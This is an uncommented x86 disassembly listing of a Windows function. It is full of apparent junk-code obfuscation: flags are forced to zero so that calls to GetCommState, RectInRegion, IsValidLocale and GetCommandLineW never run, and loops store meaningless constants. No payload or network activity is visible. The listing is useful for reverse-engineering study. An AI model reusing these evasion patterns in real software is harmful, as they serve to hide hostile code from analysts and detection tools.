jle 0x4638ae
mov dword [ebp - 0x1488], 1
jmp 0x4638b5
and dword [ebp - 0x1488], 0
mov eax, dword [ebp - 0x1488]
mov dword [ebp - 0xadc], eax
jmp 0x46372c
mov dword [ebp - 0x938], 0
jmp 0x4638df
mov eax, dword [ebp - 0x938]
inc eax
mov dword [ebp - 0x938], eax
cmp dword [ebp - 0x938], 4
jge 0x4638fb
mov eax, dword [ebp - 0x938]
mov dword [ebp + eax*4 - 0x32b0], 0xe769
jmp 0x4638d2
mov dword [ebp - 0x23c8], 0
mov dword [ebp - 0x23c4], 0
mov dword [ebp - 0x23c0], 0
mov dword [ebp - 0x23bc], 0
mov dword [ebp - 0x2840], 0xba095a97
mov dword [ebp - 0xa54], 0
jmp 0x463946
mov eax, dword [ebp - 0xa54]
inc eax
mov dword [ebp - 0xa54], eax
cmp dword [ebp - 0xa54], 1
jge 0x463962
mov eax, dword [ebp - 0xa54]
mov dword [ebp + eax*4 - 0x2658], 0x862f
jmp 0x463939
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x23c8], 0
jmp 0x46398d
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x23c8]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x23c8], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x23c8], 0
jl 0x463a14
mov byte [ebp - 0x32c], 0
movzx eax, byte [ebp - 0x32c]
test eax, eax
je 0x4639b8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x23c8]
cmp dword [ebp + eax*4 - 0x2658], 0x11151
je 0x4639dd
mov dword [ebp - 0x1490], 1
jmp 0x4639e4
and dword [ebp - 0x1490], 0
cmp dword [ebp - 0x1490], 0xa756a336
jbe 0x4639fc
mov dword [ebp - 0x1498], 1
jmp 0x463a03
and dword [ebp - 0x1498], 0
mov eax, dword [ebp - 0x1498]
mov dword [ebp - 0x2840], eax
jmp 0x463974
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x3060], eax
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x114], eax
je 0x463a3a
mov dword [ebp - 0x14a0], 1
jmp 0x463a41
and dword [ebp - 0x14a0], 0
mov eax, dword [ebp - 0x14a0]
dec eax
jne 0x463a5c
cmp dword [ebp - 0x4d8], 0
jne 0x463a5c
and dword [ebp - 0x14a8], 0
jmp 0x463a66
mov dword [ebp - 0x14a8], 1
mov eax, dword [ebp - 0x14a8]
mov dword [ebp - 0x5c4], eax
cmp dword [ebp - 0x5c4], 0
jne 0x463a8d
cmp dword [ebp - 0x114], 0
jne 0x463a8d
and dword [ebp - 0x14b0], 0
jmp 0x463a97
mov dword [ebp - 0x14b0], 1
mov eax, dword [ebp - 0x14b0]
sub eax, 3
cmp eax, dword [ebp - 0x114]
jle 0x463ab4
mov dword [ebp - 0x14b8], 1
jmp 0x463abb
and dword [ebp - 0x14b8], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x14b8], eax
jle 0x463ad0
cmp dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x2ddc], eax
mov eax, dword [ebp - 0x5cc]
mov dword [ebp - 0x3148], eax
cmp dword [ebp - 0x114], 0x72305ab
jg 0x463b00
mov dword [ebp - 0x2660], 1
jmp 0x463b07
and dword [ebp - 0x2660], 0
mov eax, dword [ebp - 0x4d8]
cmp dword [ebp - 0x114], eax
jne 0x463b21
mov dword [ebp - 0x14c0], 1
jmp 0x463b28
and dword [ebp - 0x14c0], 0
mov eax, dword [ebp - 0x5cc]
cmp dword [ebp - 0x14c0], eax
jge 0x463b42
mov dword [ebp - 0x14c8], 1
jmp 0x463b49
and dword [ebp - 0x14c8], 0
mov eax, dword [ebp - 0x5cc]
cmp dword [ebp - 0x14c8], eax
jge 0x463b63
mov dword [ebp - 0x898], 0xfffffffb
mov dword [ebp - 0x890], 0
jmp 0x46b06f
mov eax, dword [ebp - 0x890]
inc eax
mov dword [ebp - 0x890], eax
cmp dword [ebp - 0x890], 3
jge 0x46b08b
mov eax, dword [ebp - 0x890]
mov dword [ebp + eax*4 - 0x359c], 0xff0ea75c
jmp 0x46b062
mov byte [ebp - 0x2e7], 0
movzx eax, byte [ebp - 0x2e7]
test eax, eax
je 0x46b0a3
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x898], 2
jmp 0x46b0bc
mov eax, dword [ebp - 0x898]
dec eax
mov dword [ebp - 0x898], eax
cmp dword [ebp - 0x898], 0
jl 0x46b102
mov byte [ebp - 0x2e9], 0
movzx eax, byte [ebp - 0x2e9]
test eax, eax
je 0x46b0e1
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
mov byte [ebp - 0x2eb], 0
movzx eax, byte [ebp - 0x2eb]
test eax, eax
je 0x46b100
push 0x457
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
jmp 0x46b0af
mov dword [ebp - 0x65c], 0xd9532bb1
mov dword [ebp - 0xc04], 1
mov dword [ebp - 0x164], 0
jmp 0x46b12f
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 3
jge 0x46b14b
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0x2abc], 0xffffffff
jmp 0x46b122
mov dword [ebp - 0x164], 0
jmp 0x46b164
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 4
jge 0x46b180
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0x340c], 2
jmp 0x46b157
imul eax, dword [ebp - 0x65c], 0xfffd
test eax, eax
jne 0x46b1a0
cmp dword [ebp - 0x65c], 0
jne 0x46b1a0
and dword [ebp - 0x1374], 0
jmp 0x46b1aa
mov dword [ebp - 0x1374], 1
mov eax, dword [ebp - 0x1374]
mov dword [ebp - 0xc04], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc04]
mov dword [ebp + eax - 0x2abc], ecx
cmp dword [ebp - 0xc04], 0
jne 0x46b1fa
cmp dword [ebp - 0x65c], 1
jl 0x46b1e7
mov dword [ebp - 0x137c], 1
jmp 0x46b1ee
and dword [ebp - 0x137c], 0
cmp dword [ebp - 0x137c], 0x8953
jge 0x46b216
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x340c], 0
je 0x46b216
mov dword [ebp - 0x1384], 1
jmp 0x46b21d
and dword [ebp - 0x1384], 0
mov eax, dword [ebp - 0x65c]
cmp eax, dword [ebp - 0x1384]
jne 0x46b237
mov dword [ebp - 0x138c], 1
jmp 0x46b23e
and dword [ebp - 0x138c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2abc]
cmp dword [ebp - 0x138c], eax
jl 0x46b25f
mov dword [ebp - 0x1394], 1
jmp 0x46b266
and dword [ebp - 0x1394], 0
mov eax, dword [ebp - 0x65c]
cmp dword [ebp - 0x1394], eax
je 0x46b280
mov dword [ebp - 0x139c], 1
jmp 0x46b287
and dword [ebp - 0x139c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x139c]
mov dword [ebp + eax - 0x2abc], ecx
mov dword [ebp - 0x538], 0
mov dword [ebp - 0x13b4], 0xbdfadf62
mov dword [ebp - 0x2f7c], 0x5b8b78ac
mov dword [ebp - 0x25cc], 0x96d402da
mov dword [ebp - 0x25e4], 0x6f79b347
mov dword [ebp - 0x8a0], 0
jmp 0x46b2e5
mov eax, dword [ebp - 0x8a0]
inc eax
mov dword [ebp - 0x8a0], eax
cmp dword [ebp - 0x8a0], 1
jge 0x46b301
mov eax, dword [ebp - 0x8a0]
mov dword [ebp + eax*4 - 0x8a8], 1
jmp 0x46b2d8
mov dword [ebp - 0x538], 3
mov dword [ebp - 0x538], 0
jmp 0x46b324
cmp dword [ebp - 0x538], 0xfffffff4
jge 0x46b4b1
mov dword [ebp - 0x8b8], 2
mov dword [ebp - 0xc0c], 7
mov dword [ebp - 0x25d4], 2
mov dword [ebp - 0x8b0], 0x14a5ea96
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0x8b8], eax
cmp dword [ebp - 0x25cc], 0
je 0x46b3b1
xor eax, eax
inc eax
sub eax, dword [ebp - 0x8b8]
cmp eax, dword [ebp - 0x8b8]
jl 0x46b38b
mov dword [ebp - 0x13a4], 1
jmp 0x46b392
and dword [ebp - 0x13a4], 0
mov eax, dword [ebp - 0x25d4]
sub eax, dword [ebp - 0x13a4]
cmp eax, 1
jg 0x46b3b1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x8a8], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x8a8]
cmp dword [ebp + eax - 0x8a8], ecx
jle 0x46b3d9
mov dword [ebp - 0x13ac], 1
jmp 0x46b3e0
and dword [ebp - 0x13ac], 0
mov eax, dword [ebp - 0x8b0]
inc eax
mov dword [ebp - 0x8b0], eax
mov eax, dword [ebp - 0x8b0]
sub eax, dword [ebp - 0x13ac]
mov dword [ebp - 0x25dc], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x25dc]
mov dword [ebp + eax - 0x8a8], ecx
mov eax, dword [ebp - 0x25e4]
mov dword [ebp - 0x31b0], eax
mov eax, dword [ebp - 0x8b0]
mov dword [ebp - 0x2f84], eax
mov eax, dword [ebp - 0x8b8]
mov dword [ebp - 0x3138], eax
mov eax, dword [ebp - 0x13b4]
cmp dword [ebp - 0x13b4], eax
je 0x46b450
mov dword [ebp - 0x13bc], 1
jmp 0x46b457
and dword [ebp - 0x13bc], 0
mov eax, dword [ebp - 0xc0c]
cmp dword [ebp - 0x13bc], eax
jge 0x46b475
push 9
pop eax
test eax, eax
jne 0x46b475
mov dword [ebp - 0x13c4], 1
mov eax, dword [ebp - 0xc0c]
cmp dword [ebp - 0x13c4], eax
jle 0x46b499
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.00451d7c
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret